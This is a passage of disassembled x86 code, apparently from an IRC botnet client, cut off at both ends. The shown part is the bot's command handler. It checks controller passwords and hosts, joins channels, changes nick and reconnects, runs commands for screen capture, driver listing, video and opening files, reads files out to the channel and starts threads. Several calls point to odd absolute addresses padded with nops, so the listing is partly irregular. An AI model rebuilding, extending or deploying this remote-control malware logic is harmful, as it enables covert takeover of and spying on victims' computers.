; sub_401ACD+48BBj
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409855
push esi
lea eax, [ebp+var_2C4]
push offset dword_42AB3C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A73
add esp, 20h
push esi
push [ebp+arg_10]
push offset unk_42A3EC
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408C58: ; CODE XREF: sub_401ACD+4876j
; sub_401ACD+488Dj
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409855
push ebx
push ebx
push esi
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
push esi
push [ebp+arg_10]
push offset unk_42A3CC
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408CAD: ; CODE XREF: sub_401ACD+4848j
; sub_401ACD+485Fj
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
push eax
push [ebp+arg_10]
call sub_4150B5
pop ecx
pop ecx
push [ebp+arg_10]
push offset unk_42A3AC
loc_408CDC: ; CODE XREF: sub_401ACD+5853j
; sub_401ACD+7B2Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_409610
; ---------------------------------------------------------------------------
loc_408CF0: ; CODE XREF: sub_401ACD+481Aj
; sub_401ACD+4831j
push edi
push [ebp+arg_10]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4184E2
jmp loc_4040FD
; ---------------------------------------------------------------------------
loc_408D0A: ; CODE XREF: sub_401ACD+47DCj
; sub_401ACD+47F1j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz loc_409855
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408DB2
push esi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408D9A
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A600
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push [ebp+arg_10]
push offset unk_42A384
push eax
call sub_41B886
add esp, 10h
inc [ebp+arg_24]
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_408D9A: ; CODE XREF: sub_401ACD+7270j
lea eax, [ebp+var_2C4]
push offset unk_42A354
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_408DB2: ; CODE XREF: sub_401ACD+725Bj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF7
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset dword_42A338
push 200h
push eax
call sub_41B980
add esp, 10h
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_408DFE: ; CODE XREF: sub_401ACD+47B2j
; sub_401ACD+47C7j
push offset aScreen ; "screen"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408E59
mov edi, [ebp+esi+var_88]
cmp edi, ebx
jz short loc_408E46
push edi
call sub_4153BD
cmp eax, 1
pop ecx
jnz short loc_408E3F
push edi
lea eax, [ebp+var_2C4]
push offset unk_42A304
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408E59
; ---------------------------------------------------------------------------
loc_408E3F: ; CODE XREF: sub_401ACD+7359j
push offset unk_42A2D4
jmp short loc_408E4B
; ---------------------------------------------------------------------------
loc_408E46: ; CODE XREF: sub_401ACD+734Dj
push offset unk_42A298
loc_408E4B: ; CODE XREF: sub_401ACD+7377j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408E59: ; CODE XREF: sub_401ACD+7342j
; sub_401ACD+7370j
push offset aDrivers ; "drivers"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408EE6
xor edi, edi
loc_408E6E: ; CODE XREF: sub_401ACD+7404j
lea eax, [ebp+var_53F8]
push 1FFh
push eax
lea eax, [ebp+var_4EF0]
push 0FFh
push eax
push edi
call dword_4CB684
test eax, eax
jz short loc_408ECD
lea eax, [ebp+var_53F8]
push eax
lea eax, [ebp+var_4EF0]
push eax
push edi
lea eax, [ebp+var_5D88]
push offset unk_42A268
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_5D88]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 28h
loc_408ECD: ; CODE XREF: sub_401ACD+73C2j
inc edi
cmp edi, 0Ah
jl short loc_408E6E
lea eax, [ebp+var_2C4]
push offset unk_42A240
push eax
call sub_41B886
pop ecx
pop ecx
loc_408EE6: ; CODE XREF: sub_401ACD+739Dj
push offset aFrame ; "frame"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_408F87
cmp [ebp+esi+var_88], ebx
jz short loc_408F74
cmp [ebp+esi+var_84], ebx
jz short loc_408F74
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_408F74
mov eax, [ebp+esi+var_7C]
cmp eax, ebx
jz short loc_408F74
push eax
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_4155F8
add esp, 10h
test eax, eax
jnz short loc_408F6D
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset unk_42A20C
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408F87
; ---------------------------------------------------------------------------
loc_408F6D: ; CODE XREF: sub_401ACD+7481j
push offset unk_42A1D8
jmp short loc_408F79
; ---------------------------------------------------------------------------
loc_408F74: ; CODE XREF: sub_401ACD+7437j
; sub_401ACD+7440j ...
push offset unk_42A1A0
loc_408F79: ; CODE XREF: sub_401ACD+74A5j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408F87: ; CODE XREF: sub_401ACD+742Aj
; sub_401ACD+749Ej
push offset aVideo ; "video"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40875A
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz short loc_40901F
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_40901F
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40901F
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
jz short loc_40901F
mov esi, [ebp+esi+var_78]
cmp esi, ebx
jz short loc_40901F
push esi
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_18]
call sub_41B779
pop ecx
push eax
push [ebp+arg_0]
call sub_41B779
pop ecx
push eax
push [ebp+arg_1C]
call sub_4157F1
add esp, 14h
test eax, eax
jnz short loc_409015
push [ebp+arg_1C]
push offset unk_42A16C
jmp loc_40874B
; ---------------------------------------------------------------------------
loc_409015: ; CODE XREF: sub_401ACD+7539j
push offset unk_42A12C
jmp loc_4090E3
; ---------------------------------------------------------------------------
loc_40901F: ; CODE XREF: sub_401ACD+74DDj
; sub_401ACD+74EBj ...
push offset unk_42A0EC
jmp loc_4090E3
; ---------------------------------------------------------------------------
loc_409029: ; CODE XREF: sub_401ACD+4042j
; sub_401ACD+4057j
push offset aR ; "r"
push [ebp+arg_10]
call sub_41B4C2
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_409099
mov esi, 200h
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 0Ch
loc_409054: ; CODE XREF: sub_401ACD+75B6j
test eax, eax
jz short loc_409085
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 20h
jmp short loc_409054
; ---------------------------------------------------------------------------
loc_409085: ; CODE XREF: sub_401ACD+7589j
push edi
call sub_41B05B
pop ecx
push [ebp+arg_10]
push offset unk_42A0C8
jmp loc_409227
; ---------------------------------------------------------------------------
loc_409099: ; CODE XREF: sub_401ACD+756Fj
push [ebp+arg_10]
push offset unk_42A0A4
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4090A6: ; CODE XREF: sub_401ACD+4018j
; sub_401ACD+402Dj
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
push offset asc_42A0A0 ; "\n"
push esi
call sub_41BEC0
push esi
call sub_419A51
add esp, 0Ch
test eax, eax
jnz short loc_4090F6
push offset unk_42A074
loc_4090E3: ; CODE XREF: sub_401ACD+754Dj
; sub_401ACD+7557j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40875A
; ---------------------------------------------------------------------------
loc_4090F6: ; CODE XREF: sub_401ACD+760Fj
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A05C
push eax
call sub_41B886
add esp, 0Ch
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_409110: ; CODE XREF: sub_401ACD+3FEEj
; sub_401ACD+4003j
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_409855
push eax
call sub_418212
test eax, eax
pop ecx
jnz short loc_409140
push offset unk_42A03C
jmp short loc_4090E3
; ---------------------------------------------------------------------------
loc_409140: ; CODE XREF: sub_401ACD+766Aj
push offset dword_42A020
jmp short loc_4090E3
; ---------------------------------------------------------------------------
loc_409147: ; CODE XREF: sub_401ACD+3FC4j
; sub_401ACD+3FD9j
push 7Fh
lea eax, [ebp+var_2080]
push [ebp+arg_10]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_409178
push 7Fh
lea eax, [ebp+var_2000]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_409178: ; CODE XREF: sub_401ACD+7697j
push 7Fh
lea eax, [ebp+var_1F80]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2084], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_1EFC], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EF8], eax
lea eax, [ebp+var_2C4]
push offset dword_42A008
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B0F7
add esp, 18h
mov [ebp+var_1F00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2084]
push ebx
push eax
push offset sub_41ADB6
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_1F00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40921B
loc_409205: ; CODE XREF: sub_401ACD+774Cj
cmp [ebp+var_1EF4], ebx
jnz loc_406D00
push 32h
nop
call near ptr 2680000h
jmp short loc_409205
; ---------------------------------------------------------------------------
loc_40921B: ; CODE XREF: sub_401ACD+7736j
call near ptr 2680ABEh
nop
push eax
push offset unk_429FC8
loc_409227: ; CODE XREF: sub_401ACD+29CFj
; sub_401ACD+75C7j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_406D00
; ---------------------------------------------------------------------------
loc_40923B: ; CODE XREF: sub_401ACD+3F9Aj
; sub_401ACD+3FAFj
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_10]
call sub_40F96B
add esp, 10h
push [ebp+arg_10]
push offset dword_429FB0
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_40925D: ; CODE XREF: sub_401ACD+3F70j
; sub_401ACD+3F85j
push 14h
lea eax, [ebp+var_1D48]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1D34]
push [ebp+arg_10]
push offset aS_1 ; "%s"
push eax
call sub_41B886
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D50], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C30]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BA8], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA4], eax
lea eax, [ebp+var_1C30]
push eax
lea eax, [ebp+var_1D34]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429F8C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_1BAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D50]
push ebx
push eax
push offset loc_415E1B
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_1BAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz loc_4023E6
loc_409326: ; CODE XREF: sub_401ACD+786Dj
cmp [ebp+var_1BA0], ebx
jnz loc_4083BD
push 32h
nop
call near ptr 2680000h
jmp short loc_409326
; ---------------------------------------------------------------------------
loc_40933C: ; CODE XREF: sub_401ACD+3F46j
; sub_401ACD+3F5Bj
push [ebp+arg_10]
nop
call near ptr 26802D9h
test eax, eax
jz short loc_409367
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset dword_429F70
push 200h
push eax
call sub_41B980
jmp loc_409445
; ---------------------------------------------------------------------------
loc_409367: ; CODE XREF: sub_401ACD+787Aj
push offset dword_42A778
call sub_41814D
pop ecx
push eax
jmp loc_403F48
; ---------------------------------------------------------------------------
loc_409378: ; CODE XREF: sub_401ACD+3F1Cj
; sub_401ACD+3F31j
push [ebp+arg_10]
call sub_41B779
push eax
call sub_4199CA
pop ecx
pop ecx
push 1
pop esi
push [ebp+arg_10]
cmp eax, esi
jnz short loc_409399
push offset unk_429F4C
jmp short loc_40939E
; ---------------------------------------------------------------------------
loc_409399: ; CODE XREF: sub_401ACD+78C3j
push offset unk_429F1C
loc_40939E: ; CODE XREF: sub_401ACD+78CAj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406D03
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
jmp loc_406D03
; ---------------------------------------------------------------------------
loc_4093D7: ; CODE XREF: sub_401ACD+3EF2j
; sub_401ACD+3F07j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_4196BD
add esp, 18h
cmp eax, 1
push [ebp+arg_10]
jnz short loc_4093FD
push offset unk_429EFC
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4093FD: ; CODE XREF: sub_401ACD+7924j
push offset unk_429ECC
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_409407: ; CODE XREF: sub_401ACD+3EC8j
; sub_401ACD+3EDDj
mov esi, [ebp+arg_10]
push esi
call dword_4CB694
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_40944D
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB60C
cmp eax, ebx
jz short loc_409468
push dword ptr [eax]
loc_409433: ; CODE XREF: sub_401ACD+7999j
push esi
lea eax, [ebp+var_2C4]
push offset unk_429EAC
push eax
call sub_41B886
loc_409445: ; CODE XREF: sub_401ACD+7895j
add esp, 10h
jmp loc_406CDF
; ---------------------------------------------------------------------------
loc_40944D: ; CODE XREF: sub_401ACD+794Dj
push esi
call dword_4CB6D8
cmp eax, ebx
jz short loc_409468
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CB6E0
push eax
jmp short loc_409433
; ---------------------------------------------------------------------------
loc_409468: ; CODE XREF: sub_401ACD+7962j
; sub_401ACD+7989j
push offset unk_429E84
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_409472: ; CODE XREF: sub_401ACD+3E9Ej
; sub_401ACD+3EB3j
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_41B5F0
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429E5C
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_40948F: ; CODE XREF: sub_401ACD+3E74j
; sub_401ACD+3E89j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen ; "open"
push ebx
call dword_4CB5C0
push [ebp+arg_10]
test eax, eax
jz short loc_4094B3
push offset unk_429E3C
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4094B3: ; CODE XREF: sub_401ACD+79DAj
push offset unk_429E18
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4094BD: ; CODE XREF: sub_401ACD+3E4Aj
; sub_401ACD+3E5Fj
mov eax, [ebp+arg_10]
mov cl, [eax]
mov byte_429094, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_429DF0
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_4094D6: ; CODE XREF: sub_401ACD+3E20j
; sub_401ACD+3E35j
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409855
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08E
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB58
push eax
call sub_41B886
add esp, 0Ch
jmp loc_408995
; ---------------------------------------------------------------------------
loc_409528: ; CODE XREF: sub_401ACD+3DF6j
; sub_401ACD+3E0Bj
mov esi, [ebp+arg_10]
push esi
call sub_41B779
test eax, eax
pop ecx
jle loc_401E94
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_401E94
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A2D
pop ecx
pop ecx
push 1F4h
call near ptr 2680000h
nop
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call dword_4CB6EC
push [ebp+var_10]
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E5A4[eax]
nop
call near ptr 2690B5Dh
push esi
call sub_41B779
imul eax, 234h
push esi
mov dword_43E5A4[eax], ebx
call sub_41B779
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E390[eax], bl
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4095D6: ; CODE XREF: sub_401ACD+3DCCj
; sub_401ACD+3DE1j
push [ebp+arg_10]
push offset aAll ; "all"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_409642
call sub_40B2C0
cmp eax, ebx
jle short loc_4095FD
push eax
push offset unk_429DC4
jmp loc_408CDC
; ---------------------------------------------------------------------------
loc_4095FD: ; CODE XREF: sub_401ACD+7B23j
push offset unk_429D9C
loc_409602: ; CODE XREF: sub_401ACD+24FAj
; sub_401ACD+2519j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_409610: ; CODE XREF: sub_401ACD+721Ej
cmp [ebp+var_8], ebx
jnz short loc_409631
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_409629: ; CODE XREF: sub_401ACD+6DB5j
call sub_409A73
add esp, 14h
loc_409631: ; CODE XREF: sub_401ACD+26F7j
; sub_401ACD+2722j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
jmp loc_40207D
; ---------------------------------------------------------------------------
loc_409642: ; CODE XREF: sub_401ACD+7B1Aj
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401E94
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_40965E: ; CODE XREF: sub_401ACD+7C02j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401E94
push esi
call sub_41B779
push eax
call sub_40B232
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_409685
push offset unk_429D78
jmp short loc_40968A
; ---------------------------------------------------------------------------
loc_409685: ; CODE XREF: sub_401ACD+7BAFj
push offset unk_429D4C
loc_40968A: ; CODE XREF: sub_401ACD+7BB6j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4096BA
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_4096BA: ; CODE XREF: sub_401ACD+7BCFj
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40965E
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4096D6: ; CODE XREF: sub_401ACD+3DA2j
; sub_401ACD+3DB7j
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
push esi
push offset dword_42A4B8
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push esi
push offset dword_429D30
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409712: ; CODE XREF: sub_401ACD+3D78j
; sub_401ACD+3D8Dj
push [ebp+arg_10]
push offset dword_42A41C
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429D0C
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409732: ; CODE XREF: sub_401ACD+3D4Ej
; sub_401ACD+3D63j
push [ebp+esi+var_88]
push [ebp+arg_10]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 10h
push [ebp+arg_10]
push offset unk_429CE8
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409759: ; CODE XREF: sub_401ACD+3D24j
; sub_401ACD+3D39j
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429CC4
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409779: ; CODE XREF: sub_401ACD+3164j
; sub_401ACD+3179j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2D
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429CA0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
push [ebp+arg_10]
call sub_41B779
add esp, 14h
loc_4097B3: ; CODE XREF: sub_401ACD+7D34j
push eax
nop
call near ptr 2680000h
loc_4097BA: ; CODE XREF: sub_401ACD+2AA3j
xor eax, eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_4097C1: ; CODE XREF: sub_401ACD+313Aj
; sub_401ACD+314Fj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2D
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429C78
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
push [ebp+arg_10]
call sub_41B779
add esp, 14h
imul eax, 3E8h
jmp short loc_4097B3
; ---------------------------------------------------------------------------
loc_409803: ; CODE XREF: sub_401ACD+EC9j
; sub_401ACD+EDEj
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40B08E
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_429C54
loc_40984E: ; CODE XREF: sub_401ACD+70B5j
; sub_401ACD+778Bj ...
call sub_415221
pop ecx
loc_409854: ; CODE XREF: sub_401ACD+6CBAj
pop ecx
loc_409855: ; CODE XREF: sub_401ACD+659j
; sub_401ACD+665j ...
mov eax, [ebp+arg_24]
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_40985D: ; CODE XREF: sub_401ACD+AB4j
; sub_401ACD+AC9j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_401E94
cmp [ebp+var_A4], ebx
jnz loc_401E94
push offset asc_42D120 ; "!"
push [ebp+var_90]
call sub_41C0F4
mov esi, eax
push offset dword_4CB50C
push ebx
inc esi
call sub_41C0F4
push offset asc_429C50 ; "~"
push eax
call sub_41C0F4
push [ebp+arg_10]
mov edi, eax
push offset aCool ; "cool"
call sub_41C070
add esp, 20h
test eax, eax
jz short loc_4098FC
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push edi
push esi
push offset unk_429BD0
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_4098FC: ; CODE XREF: sub_401ACD+7DEBj
mov [ebp+arg_24], offset off_429160
loc_409903: ; CODE XREF: sub_401ACD+7E52j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B450
pop ecx
test eax, eax
pop ecx
jnz short loc_409963
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429164
jb short loc_409903
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push edi
push esi
push offset unk_429B7C
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_409963: ; CODE XREF: sub_401ACD+7E45j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409968: ; CODE XREF: sub_401ACD+7EC5j
cmp [ebp+arg_10], ebx
jz loc_401E94
cmp [edi], bl
jnz short loc_409988
push [ebp+arg_10]
push offset aCool ; "cool"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_409999
loc_409988: ; CODE XREF: sub_401ACD+7EA6j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409968
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_409999: ; CODE XREF: sub_401ACD+7EB9j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E00]
push 7Fh
push eax
push esi
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4099D0
push ebx
push [ebp+var_4]
push offset unk_429B5C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_4099D0: ; CODE XREF: sub_401ACD+7EE7j
lea eax, [ebp+var_C4]
push eax
push offset unk_429B3C
jmp loc_402077
; ---------------------------------------------------------------------------
loc_4099E1: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 10h
mov dword_4CB504, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A2D proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C190
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CB6A4
leave
retn
sub_409A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A73 proc near ; CODE XREF: sub_401ACD+518p
; sub_401ACD+137Ep ...
